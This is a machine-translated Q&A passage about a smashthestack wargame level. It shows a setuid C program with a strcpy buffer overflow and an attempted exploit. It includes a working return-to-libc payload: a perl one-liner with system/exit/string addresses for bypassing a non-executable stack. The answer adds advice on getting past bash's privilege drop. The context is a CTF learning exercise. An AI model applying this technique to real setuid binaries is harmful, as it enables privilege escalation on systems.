2017-09-13 146 views
0

我试图通过这个“游戏”http://smashthestack.org/faq.html(通过黑盒服务器上的SSH连接),包含一个基本的缓冲区溢出的水平2。BOF与非执行堆栈

在目录/ home /级别2(有用于与包含该级别的密码文件中的每个级别的一个目录)有称为getowner一个可执行文件和它的源代码:

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <unistd.h> 
#include <stdlib.h> 

int main(int argc, char **argv) 
{ 
    char *filename; 
    char buf[128]; 

    if((filename = getenv("filename")) == NULL) { 
     printf("No filename configured!\n"); 
     return 1; 
    } 

    while(*filename == '/') 
     filename++; 
    strcpy(buf, "/tmp/"); 
    strcpy(&buf[strlen(buf)], filename); 

    struct stat stbuf; 
    stat(buf, &stbuf); 
    printf("The owner of this file is: %d\n", stbuf.st_uid); 

    return 0; 
} 

的那些拥有可执行文件的用户是3级

[email protected]:~$ ls -lisa getowner 
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner 

所以,如果我能利用缓冲区溢出并产生一个壳为3级,我可以读取文件/ home/3级/密码,得到密码,并赢得了水平:我对吗?

所以

1)我试图在环境变量中上传的shellcode和伪造文件名可变在堆栈中返回的shellcode的修改返回地址,但你可以看到

[email protected]:~$ readelf -l getowner | grep GNU_STACK 
    GNU_STACK  0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 

堆栈中的代码无法执行。

2)然后,我尝试使用Return-to-libc攻击和呼叫系统(如/ bin/bash)的,但在催生壳我仍然level2的用户:(

[email protected]:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"') 
[email protected]:~$ ./getowner 
The owner of this file is: -1207961948 
bash-3.1$ id 
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers) 

在哪里0xb7ee59b0系统()的地址,0xb7edb420是退出()和0xbffffe32的地址字符串/斌/庆典的地址。

做我还有其他的选择或者是我看错了?

回答

0

你的第二个方法是正确的,但你应该使用/bin/sh或(/bin/dash如果/bin/sh是符号链接/bin/bash)。

bash首先要做的就是将euid的权限降为uid。有关更多详细信息,请参见this stackexchange答案。